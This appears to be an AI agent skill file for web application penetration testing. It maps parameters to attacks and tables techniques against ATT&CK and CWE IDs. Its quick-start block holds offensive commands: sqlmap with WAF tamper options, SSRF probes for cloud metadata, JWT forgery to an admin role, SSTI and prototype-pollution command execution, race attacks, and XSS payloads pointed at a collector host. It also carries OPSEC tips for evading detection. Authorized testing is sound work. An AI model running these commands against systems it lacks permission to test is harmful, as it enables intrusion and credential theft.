Web Pentest

---
name: web-pentest
description: Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race
metadata:
  type: offensive
  phase: exploitation
  tools: burpsuite, sqlmap, ffuf, feroxbuster, nuclei, httpx, curl, wfuzz, dalfox, commix, jwt_tool, ysoserial, http-request-smuggler
  mitre: [T1190, T1059, T1552.005, T1078, T1539, T1505.003]
kill_chain:
  phase: [delivery, exploit]
  step: [3, 4]
  attck_tactics: [TA0001, TA0002]
  attck_techniques: [T1190, T1059.007, T1552.005, T1078, T1539, T1505.003, T1557]
depends_on: [recon-osint, vulnerability-analysis]
feeds_into: [exploit-development, cloud-security, network-attack]
inputs: [attack_surface_map, technology_fingerprint]
outputs: [finding_record, web_vulnerability_list]
references:
  - references/injection-sqli-cmdi.md
  - references/xss-csp-clientside.md
  - references/ssrf-cloud-metadata.md
  - references/http-desync-cache.md
  - references/ssti-deserialization.md
  - references/auth-api-access-control.md
  - references/business-logic-abuse.md
  - references/proxy-mcp-integration.md
scripts:
  - scripts/desync_probe.py
  - scripts/jwt_forge.py
  - scripts/ssrf_toolkit.py
  - scripts/proto_ssti_gadgets.py
  - scripts/graphql_audit.py
  - scripts/race_single_packet.py
  - scripts/xss_csp_forge.py
  - scripts/session_entropy.py
---

# Web Application Penetration Testing

## When to Activate

- Web application security assessment (black/grey/white box)
- API security testing (REST, GraphQL, WebSocket)
- Authentication & session management testing (JWT, OAuth/OIDC, SAML)
- Business-logic and race-condition hunting
- WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
- Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud
  metadata, prototype-pollution->RCE, SSTI sandbox escapes

## Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

| Input signal you observe | Test for | Go to |
|--------------------------|----------|-------|
| `id`, `uid`, `order_id`, `account`, GUID/sequential ref | IDOR/BOLA, access control | references/auth-api-access-control.md |
| `url`, `next`, `callback`, `dest`, `webhook`, `image_url` | SSRF + cloud metadata, open redirect, OAuth chain | references/ssrf-cloud-metadata.md |
| `price`, `qty`, `coupon`, `balance`, `status`, state change | business logic + single-packet race | references/http-desync-cache.md (race) |
| template/preview/name reflected in output | SSTI -> RCE, reflected XSS | references/ssti-deserialization.md |
| search/filter/sort reflected; `q=`, error echoes input | SQLi, XSS, command injection | references/injection-sqli-cmdi.md |
| `token`, `jwt`, `Authorization`, `Cookie`, OAuth `state` | JWT forgery, session/OAuth flaws | references/auth-api-access-control.md |
| empty/missing/`session=`; login accepts no creds; `user[$ne]=` | auth-check tampering (empty/null/NoSQL/type-juggle/HPP), token prediction | references/auth-api-access-control.md |
| serialized blob / base64 object / `__proto__` | deserialization, prototype pollution | references/ssti-deserialization.md |
| behind CDN/cache; `X-Forwarded-*`; keyed params | desync (0.CL/TE.0), cache poisoning | references/http-desync-cache.md |

## Technique Map

| Technique | ATT&CK | CWE | Reference | Script |
|-----------|--------|-----|-----------|--------|
| SQL injection (UNION/blind/NoSQL) | T1190 | CWE-89 | references/injection-sqli-cmdi.md | scripts/ssrf_toolkit.py (probe pattern) / sqlmap |
| OS command / argument injection | T1059 | CWE-78 / CWE-88 | references/injection-sqli-cmdi.md | - |
| Reflected/stored/DOM XSS | T1059.007 | CWE-79 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| CSP bypass / script gadgets | T1059.007 | CWE-1021 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| Client-side prototype pollution -> XSS | T1059.007 | CWE-1321 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |
| SSRF + cloud metadata theft | T1552.005 | CWE-918 | references/ssrf-cloud-metadata.md | scripts/ssrf_toolkit.py |
| IMDSv2 bypass (Axios gadget) | T1552.005 | CWE-113 | references/ssrf-cloud-metadata.md | scripts/proto_ssti_gadgets.py |
| HTTP request smuggling / desync | T1190 | CWE-444 | references/http-desync-cache.md | scripts/desync_probe.py |
| Web cache poisoning / deception | T1557 | CWE-525 | references/http-desync-cache.md | scripts/desync_probe.py |
| SSTI -> RCE (Jinja2/Twig/FM/...) | T1059 | CWE-1336 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
| Server-side prototype pollution -> RCE | T1059 | CWE-1321 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |
| Insecure deserialization (Java/.NET/PHP) | T1059 | CWE-502 | references/ssti-deserialization.md | ysoserial / ysoserial.net |
| JWT forgery (none/confusion/jku/jwk/kid) | T1078 | CWE-347 | references/auth-api-access-control.md | scripts/jwt_forge.py |
| Auth-check tampering (empty/null/NoSQL-op/type-juggle/HPP) | T1556 | CWE-287 / CWE-697 / CWE-943 | references/auth-api-access-control.md | - |
| Session token prediction (weak PRNG/entropy) | T1539 | CWE-330 | references/auth-api-access-control.md | scripts/session_entropy.py |
| OAuth/OIDC/SAML auth bypass | T1078 | CWE-287 | references/auth-api-access-control.md | scripts/jwt_forge.py |
| GraphQL abuse (batch/alias/depth) | T1190 | CWE-770 | references/auth-api-access-control.md | scripts/graphql_audit.py |
| IDOR / BOLA / mass assignment | T1078 | CWE-639 / CWE-915 | references/auth-api-access-control.md | - |
| Race condition (single-packet) | T1190 | CWE-362 | references/auth-api-access-control.md | scripts/race_single_packet.py |
| Business-logic abuse (price/refund/workflow/race) | T1539 | CWE-841 | references/business-logic-abuse.md | scripts/race_single_packet.py |
| HTTP Parameter Pollution (HPP) | T1190 | CWE-235 / CWE-88 | references/injection-sqli-cmdi.md | - |
| File-upload -> webshell / RCE | T1505.003 | CWE-434 | references/injection-sqli-cmdi.md | - |

## Quick Start

```bash
# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.
```

## OPSEC & Detection (summary)

| Technique | Telemetry / IOC | Detection (Sigma/EDR) | OPSEC note |
|-----------|-----------------|------------------------|------------|
| SQLi / cmdi | SQL keywords, `SLEEP/WAITFOR`, web-svc spawning `sh/curl` | webserver regex Sigma; EDR child-shell from `www-data` | time-based is slow+noisy; `--random-agent --delay`, in-band reads first |
| XSS / CSP / client-PP | `<script`, `onerror=`, `__proto__` in params; CSP report-uri hits | webserver regex; Trusted-Types violation alerts | persistent `__proto__` can break shared cached pages — avoid |
| SSRF / metadata | hits to 169.254.169.254 / metadata hosts from app tier | proxy Sigma; GuardDuty credential-exfil | stop at proving token retrieval; rotate collaborator subdomains |
| HTTP desync / cache | CL+TE together, obs-fold, `Expect` on OPTIONS to CDN | proxy Sigma; reject ambiguous framing | poisons co-tenant traffic — scoped only, never POST-smuggle prod |
| SSTI / PP / deser | `{{ }}`/`${ }`, `NODE_OPTIONS`, `rO0AB`, JNDI egress | webserver/body Sigma; EDR `java`->LDAP/RMI | `id` probe first; reverse shells trip EDR; revert polluted config |
| JWT / OAuth / GraphQL | `alg:none`, unknown `jku`/`kid`, multi-op GraphQL body | app Sigma; failed-verify spikes | forged-JWT attempts alert; cap GraphQL brute wordlist/rate |
| Race (single-packet) | burst of near-simultaneous mutating requests | rate-by-endpoint Sigma in 1s window | keep `-n` low; document state mutated for cleanup |

## Deep Dives

- references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command
  & argument injection, HTTP Parameter Pollution (HPP), file-upload -> webshell/RCE,
  sqlmap tamper workflow, modern WAF/Unicode evasion.
- references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass +
  script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.
- references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis,
  AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch,
  2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).
- references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect &
  CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception
  ("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.
- references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes
  (CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter,
  NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.
- references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL
  batch/alias/depth abuse, session & auth-check tampering (empty/null/falsy value,
  NoSQL-operator + type-juggling + HPP into auth), session token prediction/entropy
  (scripts/session_entropy.py), test-account setup for cross-identity testing,
  IDOR/BOLA/mass assignment, and the HTTP/2 single-packet race attack.
- references/business-logic-abuse.md — model the intended state machine, then break
  transitions: price/quantity/coupon tampering, refund/payout & single-packet races,
  workflow-step skip, idempotency gaps, tenant/role confusion, flaw-chaining.
- references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for
  ground-truth traffic + replay-with-auth, with mandatory header redaction
  (`redact_headers.py`) at the data boundary.